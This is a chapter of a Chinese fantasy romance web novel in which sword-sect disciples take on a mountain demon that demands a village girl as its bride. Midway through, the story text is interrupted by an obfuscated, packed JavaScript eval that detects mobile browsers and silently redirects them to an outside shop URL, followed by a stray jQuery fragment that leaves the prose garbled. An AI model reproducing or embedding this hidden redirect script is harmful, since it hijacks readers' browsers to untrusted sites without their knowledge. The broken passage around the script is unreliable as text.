次日天还未亮,元倾就早早起来了。
不只是她,三人都起来很早,不想继续在这府上待。
元倾走出院门,迎面撞上阿玖。
“昨晚睡得好吗?”元倾问他。
阿玖点点头,“很好。”
元倾对他微微一笑,阿玖目光顿了顿,问:“你呢?”
他语气不似往常那样冷漠,甚至有些青涩和艰难,好像生平头一次说出这两个字。
元倾睁大圆溜溜的眼睛,扬起笑:“我也睡得很好。”
闻言,阿玖轻微抿了下唇,看她一下,又看向别处,“嗯。”
元倾还笑着,“走吧。”
两人走出院门,王子修死后,这府上像十几年没有居住过,本来盛开着荷花的池塘现在散发出污泥的恶臭。
元倾不禁好奇地歪头看他。
阿玖公子一点也不奇怪王府一夜之间变化这么大吗?
阿玖走在她身侧,不知有没有注意到她的视线,微垂着头,眼睫纤长,遮挡漆黑的瞳孔。
他余光似乎往元倾旁边移动了下,很快撤了回来,身侧的手指不由握了握。
元倾心想,大概昨晚她给阿玖房间布那些阵法的时候他就猜出来了吧。阿玖公子胆子可真大。
两人走进外院门,远远看见风满雪笑吟吟的和林惊鹤在说话,看来昨晚的事对她并没有影响。
元倾眼尖,瞧见风满雪和林惊鹤几步远的池塘边爬上来一只褐色的癞蛤蟆,扭动着身子挪动了几步。
风满雪注意到了,惊叫一声,提起裙子就要把这只癞蛤蟆踢开。
癞蛤蟆感受到压迫,前面两只手抱住脑袋。
“等等风姑娘!”元倾连忙说,上前阻止了她,“这小癞蛤蟆先前受妖力压制,现在才敢出来,让它好好待在这里吧。”
她拿出手帕,蹲下包裹住癞蛤蟆,把它放到了池子里的湿泥上。
“可它也会修炼成妖吧。”风满雪小心说道,她很怕这些丑陋黏腻的动物。
林惊鹤笑了笑,“这种没有凶性的动物,哪怕修炼成妖,也不会是害人的妖,能修炼成功也算是这小不点的造化了。”
风满雪若有所思点点头,“原来是这样啊。”
“师兄,马车备好了吗?”元倾问。
“在外面。”林惊鹤抱臂,扬扬下巴。
风满雪忽道:“我忘了一个东西,你们去马车上等我吧。”
昨晚师兄妹一商量,想到这一路得走许久,总是租马车也不方便,两人一锤定音,今早林惊鹤就去买了一架马车,前面套着两匹骏马。
林惊鹤和元倾都会驾马车,但他坚决不让元倾来,元倾也不想让他一直在外面受颠簸,两人再一商量,决定轮流来。
出王府,林惊鹤去检查马车有没有哪里没套牢,元倾便和阿玖一起去买早饭。
王府内,风满雪小跑着从里面出来。
方才那只癞蛤蟆还停在元倾放下它的地方,下巴处一鼓一鼓的。
风满雪远远看见,含笑上前,眼底划过一丝讥诮,抬脚把这只癞蛤蟆踢到池塘后的墙上。
啪嗒一声,癞蛤蟆掉到地上,露出花白的肚皮,四肢不停晃动,却翻不过去。
风满雪觉得好笑,勾了勾唇,往外走去。
丑陋的东西有什么好怜悯的。
-
马车行驶两日,按照地图,四人停在了一个石柱前。
石柱上刻着几个大字——林家庄。
后面天蓝山青,微风徐徐,良田里都是才播种不久的稻子。
元倾和风满雪从马车里探头出来看,林惊鹤挥舞缰绳,扬眉笑道:“林家庄?我和这地方挺有缘。”
按照师父要求,他们上一个地方在城里,下一个地方就得在村镇。
林惊鹤让马车驶进村庄。
元倾放下帘子,歉意说:“风姑娘,这两日我们会待在这里,只怕条件没有在齐州那么好了。”
“我就喜欢这种游历江湖的感觉。”风满雪憧憬地说,“就是可千万别再遇到什么妖了,好吓人。”
元倾只是笑笑,没有保证,这种山清水秀、背靠大山的地方,确实最容易有妖物。
村里的路倒还算平整,就是有些颠簸,林惊鹤看见一棵大树,便把马车停到了那下面。
风满雪扶着他手,第一个下来,望着漫山遍野的青翠微笑,发出感叹:“好安宁的地方。”
“我们先去找村长,问问有没有多余的院子,或者谁家能住人,我们给银子。”林惊鹤说着,放松了一下胳膊后背,“赶了一路,阿倾,累不累?”
这一路都是他在前面驾车,元倾有什么累的,不过师兄关心她,还是很让她开心的,摇摇头,“我不累,风姑娘和阿玖公子肯定累,师兄,我们快去问问。”
风满雪却看不出有多累,仍然神采飞扬,她笑着提裙跑到林惊鹤身边,同他走在前面。
这些天在身后看惯了两人十分般配的背影,元倾现在已经没有太大感触了。风姑娘确实极为好看,但她清楚,师兄并不是看人家漂亮,就对人家起意的人。
虽说这样相处下去,也不知会不会动他心。
“阿玖公子,这些天我们住这里,你好好休息吧。”元倾回神说。
“嗯。”阿玖淡淡应了声。
元倾现在对阿玖的冷漠也习以为常了,人家生性冷淡,她总不能硬要他变得开朗。
很快,四人走到村民居住的地方,村庄干净整洁,路上的草都清理得很干净。
一个提着小木桶的男孩从院后出来,林惊鹤开口想问他村长家怎么走,那小孩像是看见什么稀奇的东西一样,指着他们“哦”了声,丢下桶跑了。
“这孩子?”林惊鹤好笑又无奈道。
元倾看了下腰间的剑,是不是因为她和师兄佩着剑,所以那孩子怕吗?
她正要说要不要把剑收起来,就看见远处路口,那小孩带着好几人来了。
为首的是个拄拐杖的老爷爷,胡子和眉毛都花白了,脚步却还挺快。
“几位小友留步!”他道,话里透着焦急。
林惊鹤和元倾对视一眼,马上明了,这是来活了。
他们临山剑宗弟子下山历练,会专门前去一些偏远的山村。
这些地方很容易遭受山林中修炼的妖兽侵扰,又求助无门,为让他们少遭难,剑宗会特意安排弟子前去这些地方勘察询问。
从小到大,元倾和林惊鹤不知道处理过多少侵扰村庄的妖兽了,不过都不是很凶恶的妖。
果然,这拄拐杖的老爷爷就是林家庄的村长,得知元倾林惊鹤就是除妖师,恳请几位进院喝茶,他们有要事相求。
村长的院子站了好些人,无论男女都愁眉苦脸,元倾不禁担忧,难道这次的妖物比上次的蛭泥还难对付?
村长让人上茶,路上他经过打听,知道他们是赶路来的,又让人去准备吃食。
元倾和林惊鹤都没拒绝,他们倒轻易不会饿,但阿玖和风满雪还得吃东西。
两人都注意到榻上坐着一个十分秀气的姑娘,和风满雪差不多年龄,正垂头哭泣。
“还请村长告诉我们究竟。”几人坐下,林惊鹤直奔主题。
村长叹气,屋内的其他人也叹气,村长苍老的声音响起,将事情告诉了他们。
元倾和林惊鹤认真听着,点了点头。
原来这位哭泣的姑娘名叫疏儿,是这村庄最秀气好看的姑娘,她家里人十分爱她,本来备了嫁妆待嫁家中,只等寻到合适的郎君。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836818|211468||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然而却在前几日,这家人收到了来自山妖的求亲聘礼。
另外还有一封信,告知林家庄的众人,这月二十六号晚,让疏儿坐上轿子,它亲自接她进山。
若不从,整个村庄性命难保。
“能让我们看看那些聘礼吗?”林惊鹤问。
村长连忙让疏儿爹娘带他们去看。
聘礼摆在他们家院子里,好几大箱子,元倾上前打开一看,蹙了蹙眉。
全是金银财宝。
忽然人群中有人小声嘟囔:“嫁给山妖又不一定会死,起码还有这么多钱财……”
林惊鹤和元倾都神色不悦,村长用力拄了拄拐杖,厉声呵斥:“糊涂!我说了多少遍,那山妖从前就有过如此举动,村史有记载,被山妖娶走的姑娘,全都了无音讯,家里人也在几年内去世,要想村里人平安无事,就不能一味选择妥协!”
疏儿爹娘哭道:“村长,疏儿绝对不能嫁给一个妖怪啊。”
村长闭眼点点头,“我们运气不错,遇到除妖师了,这事绝不能像往常那样顺从那妖邪,否则我们村子迟早会遭天谴!”
“这些不是金银珠宝。”元倾打破那些异言的幻想,手指飞出数张符纸,轰的一声,几个大箱子全燃烧了起来。
村民们看得目瞪口呆,只见几个木头箱子没事,但里面的金银珠宝全变成了石头。
“这山妖很抠搜,哪里肯真的给聘礼。”林惊鹤嗤笑着摇摇头,“就是做做样子。”
“两位公子小姐,请问……有办法吗?”村长小心翼翼问。
“有。”元倾说。
这山妖比起蛭泥,没有那么凶狠厉害。但他肯定不会轻易出山,在山中,他就是一方霸主,她和师兄需要用点计谋,谨慎些能解决掉。
林惊鹤对村长说:“我们要在这里住两三日,烦请村长为我们找间能住人的院子,山妖的事我们来料理。”
村长一听,简直老泪纵横,忙安排村民打扫出两户搬走的村民的院子,让他们住下。
两个院子挨在一起,房间正好足够,元倾扯了扯阿玖袖子,低声说:“阿玖公子,我和师兄要给村庄布阵法,你和风姑娘待在屋里,不要随意走动。”
从进村庄到现在,哪怕是亲耳听见山妖强娶民女不成就要屠村,阿玖都没有半点反应,始终垂着眼睫,仿佛魂魄遨游五湖四海去了。
他目光平静,微微颔首。
元倾想他先前大概没经历过这种场面,问:“你怕吗?”
怕的话她多给他弄些符咒拿着安心些。
“怕?”阿玖眉头微扬,看着她。
怕的话,难道她还会留下陪他吗?
“别怕,我和师兄会处理好的。”元倾为让他安心,说得十分笃定,“你好好休息。”
阿玖嘴唇动了动,似是想说什么,但林惊鹤在院外喊:“小师妹快来!”
元倾应了声,小跑出去。
阿玖目光随她背影移动。
林惊鹤和元倾站在树下,两人表情都较为认真。
一枚树叶落到元倾头上,被林惊鹤拿去,两人相视一笑,轻松了不少。
阿玖垂眼,收回目光,进屋去了。
此时天色已经暗下,来院子前他在旁边听见了元倾和林惊鹤商量下来的计划。
由元倾来假扮疏儿坐上花轿,进入山妖的地界。
阿玖拿出面具,开始擦拭。
肆云不知从哪里冒出来,一看他拿着狐狸面具,歪头一笑:“山妖而已,你要去啊?”
“不。”阿玖淡淡说。
“可是小娘子要成为别人的新娘了诶。”肆云一脸苦恼的样子。
阿玖神色冷清漠然,“嗯。”他顿了顿,“她有,她师兄。”
哪里需要他。